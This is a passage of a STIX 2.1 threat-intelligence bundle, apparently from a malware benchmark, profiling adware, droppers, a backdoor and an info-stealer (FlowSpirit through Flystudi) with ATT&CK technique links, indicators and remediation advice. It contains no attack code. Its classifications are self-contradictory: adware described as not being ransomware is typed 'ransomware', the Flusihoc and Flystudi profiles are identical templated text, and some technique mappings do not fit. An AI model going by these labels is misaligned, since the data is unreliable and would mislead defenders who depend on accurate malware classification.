automatically upon every system boot.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile FlowSpirit is not typically destructive like a file-encrypting ransomware, it causes severe operational disruption. The constant rendering of injected ads consumes significant CPU and RAM, leading to severe browser latency and system instability. The persistent tracking of search queries also constitutes a significant privacy violation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Specialized Anti-Malware Scan:</strong> Standard antivirus often struggles to fully remove deep-seated adware. Utilize an enterprise-grade anti-malware solution specifically designed for PUP/Adware removal to target the persistent registry keys and scheduled tasks.</li>\n<li><strong>Group Policy Audit:</strong> IT staff must inspect the local Windows Group Policy settings (specifically for Chrome and Edge) to remove any unauthorized policies that are force-installing the FlowSpirit browser extensions.</li>\n<li><strong>Browser Factory Reset:</strong> To completely eradicate the hijacking components and tracking cookies, all installed web browsers on the infected endpoint must undergo a full factory reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.FlowSpirit",
        "PUP.FlowSpirit",
        "BrowserHijacker.FlowSpirit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flowspirit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flowspirit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a57df120-ca2b-591e-98b7-89c6881606d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a0536eb-d764-58ca-a31e-6b9f770cd4e8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flowspirit exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c353f9b6-4f2d-532a-a160-51548f144478",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a0536eb-d764-58ca-a31e-6b9f770cd4e8",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flowspirit exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54283a64-5966-5376-b45c-acba19fdfcdf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a0536eb-d764-58ca-a31e-6b9f770cd4e8",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flowspirit exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9fa60ab9-57e3-547d-851d-3ba35c72e01c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flusihoc",
      "description": "Trojan:Win32/Flusihoc is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Flusihoc</b><br>To an end-user, a Flusihoc infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Flusihoc is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Flusihoc is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Flusihoc frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Flusihoc reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flusihoc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flusihoc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a841244-1ee6-5eed-803b-ac863209a86d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fa60ab9-57e3-547d-851d-3ba35c72e01c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flusihoc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--240a8a04-469e-5d72-8968-68b9ab3f388f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fa60ab9-57e3-547d-851d-3ba35c72e01c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flusihoc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eedd2e03-692f-527d-a8e4-b0be46d423b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fa60ab9-57e3-547d-851d-3ba35c72e01c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flusihoc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23c77591-dad5-52ba-92bb-68056fde3908",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fa60ab9-57e3-547d-851d-3ba35c72e01c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flusihoc exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a79878d7-2534-5e65-8d9c-30f71c82c5f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fa60ab9-57e3-547d-851d-3ba35c72e01c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flusihoc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--488743d9-c826-5aa3-a142-829e85593273",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flux",
      "description": "Flux (cataloged across antivirus solutions as Backdoor:Win32/Flux and Trojan.Win32.Flux) is a classic Delphi-authored remote access backdoor trojan first surfaced during the early-to-mid 2000s cybercrime era. Developed to establish persistent remote command-and-control over compromised Windows endpoints, Flux listens on custom TCP ports or connects back to attacker-designated command infrastructure. The backdoor equips remote operators with full interactive shell access, enabling file uploading and downloading, process termination, system rebooting, user account manipulation, and arbitrary command execution. Flux was distributed across peer-to-peer file sharing networks, IRC chat networks, and bundled with freeware game utilities. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Flux",
        "Trojan.Win32.Flux",
        "Win32/Flux.Backdoor",
        "Backdoor.Flux.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flux",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flux"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11c1afbb-88e0-5816-86e0-82027929809c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--488743d9-c826-5aa3-a142-829e85593273",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flux exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b606b4a6-8509-5045-b895-328c7bdc1c7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--488743d9-c826-5aa3-a142-829e85593273",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flux exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b11c0d6-ef96-5f5d-a122-0a9e212f6d23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--488743d9-c826-5aa3-a142-829e85593273",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flux exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e3af783-1460-5386-999b-f9022f0c7510",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--488743d9-c826-5aa3-a142-829e85593273",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flux exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e138baa-6426-5d72-9aa3-8d5e1f33ba7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--488743d9-c826-5aa3-a142-829e85593273",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flux exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9760fb8e-e83b-59cd-bcfd-7f6598df165a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flvdirect",
      "description": "<h3>Executive Summary</h3>\nFLVDirect is a classification for a category of Adware and Potentially Unwanted Programs (PUPs). Its primary objective is unauthorized monetization through the aggressive tracking of user web behavior and the injection of intrusive, highly targeted advertisements (such as pop-ups, pop-unders, and embedded banners) into the victim's web browser, severely degrading system performance and privacy.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFLVDirect adware is almost exclusively distributed via software bundling (pay-per-install networks). Users typically install this threat inadvertently when downloading \"free\" utilities (like media players or PDF converters) from third-party download portals, failing to uncheck pre-selected boxes during the installation wizard.\n\nUpon execution, the software focuses on data collection and ad injection:\n<ul>\n<li><strong>Browser Integration:</strong> The adware installs persistent Browser Helper Objects (BHOs) or malicious extensions into major web browsers (Chrome, Firefox, Edge). It may also alter the browser's default homepage and search engine to route traffic through affiliate marketing portals.</li>\n<li><strong>Ad Injection and Overlay:</strong> FLVDirect significantly degrades the user experience by injecting its own advertisements into legitimate websites. It often overlays legitimate ads with its own, spawns new browser windows, or highlights random text on a page to create hyperlinked ads leading to dubious products or services.</li>\n<li><strong>Data Tracking:</strong> To serve targeted ads, the adware tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers without clear consent.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile FLVDirect is not typically designed to destroy data like ransomware or steal banking credentials like an Info-stealer, it poses a severe privacy risk and significantly degrades system performance (causing browser crashes and high CPU usage). Furthermore, the aggressive ad networks utilized by these programs frequently serve \"malvertising,\" exposing the user to severe secondary infections.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Removal:</strong> The first step is to identify and uninstall the core adware application via the Windows Control Panel, looking for recently installed, suspicious \"free\" utilities or toolbars often bearing names related to \"Media,\" \"Search,\" or \"Deals.\"</li>\n<li><strong>Browser Reset:</strong> Because FLVDirect deeply alters browser configurations, the most effective remediation is a complete reset of all installed web browsers to their factory default settings, which automatically clears malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Sweep:</strong> Run a comprehensive scan using a reputable anti-malware solution specifically tuned to detect and remove Potentially Unwanted Programs (PUPs) and lingering registry keys left behind by the adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.FLVDirect",
        "PUP.FLVDirect",
        "Win32/Adware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flvdirect",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flvdirect"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f02cb810-33ef-52dc-b3ca-1dbe297bd5c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9760fb8e-e83b-59cd-bcfd-7f6598df165a",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flvdirect exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45b067a9-67f2-5bcf-a51c-9c37898c1f58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9760fb8e-e83b-59cd-bcfd-7f6598df165a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flvdirect exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd68c3d9-0068-57de-bf6c-8c7a15facafb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9760fb8e-e83b-59cd-bcfd-7f6598df165a",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flvdirect exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--48d226d6-5697-529e-83ec-6814f7431af4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flvdownloader",
      "description": "Adware:Win32/Flvdownloader (or PUA:Win32/Flvdownloader) is a classification for Potentially Unwanted Programs (PUPs) and adware that disguise themselves as legitimate utilities\u2014typically browser extensions or desktop apps designed to download streaming videos (like FLV or MP4 files). While they may actually perform this function, their primary, hidden purpose is to monetize the user by aggressively injecting advertisements into web traffic (`T1566.002`).<br><br><b>Understanding Flvdownloader (Adware / PUPs)</b><br>To an end-user, the computer becomes sluggish, and they are bombarded with pop-up ads, fake 'update' alerts, and redirected search queries. For a SOC analyst, adware represents a significant risk because the infrastructure used to deliver adware is frequently repurposed to deliver severe malware, and the aggressive hooking techniques adware uses can create systemic instability.<br><br><b>Execution and Monetization Mechanics</b><br>Flvdownloader usually gains access via 'bundling' (`T1189`). When a user downloads a free utility from a shady website, the adware is silently installed alongside it. It establishes persistence via the registry or as a browser extension (`T1176`). Once active, it intercepts the user's HTTP/HTTPS traffic. It injects Javascript into every webpage the user visits to display unwanted ads, replace legitimate ads with the attacker's own (to steal ad revenue), or track the user's browsing habits to sell their data.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily a degradation of system performance and user experience, though the risk of secondary infections is high. Host-based IoCs include the presence of unknown browser extensions, modifications to the browser's default search engine or home page, and numerous unknown executables running from the `%LocalAppData%` directory. Network IoCs include DNS requests to known adware tracking domains and ad-injection networks. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flvdownloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flvdownloader"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fb99c4e-dca9-56e4-8c65-e5a525c3d6b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d226d6-5697-529e-83ec-6814f7431af4",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flvdownloader exhibits technique T1176 (Browser Extensions (Installing malicious add-ons to inject ads and track users))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--100e6ecd-36f3-509e-a3de-7fe612c6c44c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d226d6-5697-529e-83ec-6814f7431af4",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flvdownloader exhibits technique T1189 (Drive-by Compromise (Often bundled with legitimate software downloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49b0ccc6-bfbb-538e-a47f-a2c7d60d72d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d226d6-5697-529e-83ec-6814f7431af4",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flvdownloader exhibits technique T1566.002 (Phishing: Spearphishing Link (Displaying fake 'update required' popups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d4af0e30-2b48-5540-a9df-9fa483b35559",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flymux",
      "description": "<h3>Executive Summary</h3>\nFlymux is a targeted Information Stealer (Info-Stealer) primarily focused on extracting credentials, session tokens, and stored web browser passwords from compromised Windows systems. It operates as a fast, \"smash-and-grab\" utility favored by cybercriminals for rapid credential harvesting and subsequent server or account compromise.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFlymux is typically distributed via malicious email attachments (often masquerading as invoices or shipping documents) or bundled within cracked software available on untrustworthy software portals.\n\nUpon execution, Flymux initiates a rapid, localized search for high-value credentials:\n<ul>\n<li><strong>Browser and Email Harvesting:</strong> The malware actively scans the registry and local AppData folders to extract saved passwords, autofill data, and session cookies from major web browsers (Chrome, Firefox, Internet Explorer). It also targets email clients (Outlook, Thunderbird).</li>\n<li><strong>FTP/Webmaster Targeting:</strong> Flymux frequently hunts for configuration files and saved passwords associated with popular FTP clients (like FileZilla or WinSCP). Stolen FTP credentials allow the attacker to deface websites or host further malware payloads.</li>\n<li><strong>Data Exfiltration:</strong> Once the data is harvested, Flymux encrypts the stolen information and transmits it to an attacker-controlled server via HTTP POST requests, completing its execution quickly to evade prolonged detection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Flymux infection poses a severe risk to an organization's internal and external infrastructure. The theft of session cookies can bypass Multi-Factor Authentication (MFA), allowing attackers immediate access to corporate web applications (like O365 or Google Workspace).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>MFA Token Revocation:</strong> Assume session cookies were stolen. Force an immediate sign-out of all active sessions for critical web applications to invalidate the stolen tokens.</li>\n<li><strong>Local Password Reset:</strong> All user credentials saved in the affected endpoint's web browsers, email clients, and FTP software must be considered compromised and reset from a clean device.</li>\n<li><strong>Endpoint Eradication:</strong> The malware itself is typically not heavily obfuscated and can often be removed by a reputable EDR or enterprise antivirus solution. Ensure a full system scan is completed to verify eradication.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Flymux",
        "PWS.Flymux",
        "TrojanSpy.Flymux"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flymux",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flymux"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a2da796-14bc-5c2b-8fb9-bd1946a96433",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4af0e30-2b48-5540-a9df-9fa483b35559",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flymux exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e3e3e1a-b52a-505f-85da-f87d4f2a775a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4af0e30-2b48-5540-a9df-9fa483b35559",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flymux exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a4c8603-6c7f-5241-890d-77c63373aa42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4af0e30-2b48-5540-a9df-9fa483b35559",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flymux exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ad35d58-ad95-500d-9217-d448f4ee896d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d4af0e30-2b48-5540-a9df-9fa483b35559",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flymux exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f871747d-6b5e-5063-a68a-6e933f15c2c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Flystudi",
      "description": "Trojan:Win32/Flystudi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Flystudi</b><br>To an end-user, a Flystudi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Flystudi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Flystudi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Flystudi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Flystudi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Flystudi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/flystudi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e640dcc7-6c69-5fb2-b299-4d9b00d8931d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f871747d-6b5e-5063-a68a-6e933f15c2c0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b54c1497-998b-58f4-a250-fd609da9e6c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f871747d-6b5e-5063-a68a-6e933f15c2c0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e29614dc-f3bc-55ca-8a9e-0b641328d8bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f871747d-6b5e-5063-a68a-6e933f15c2c0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Flystudi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
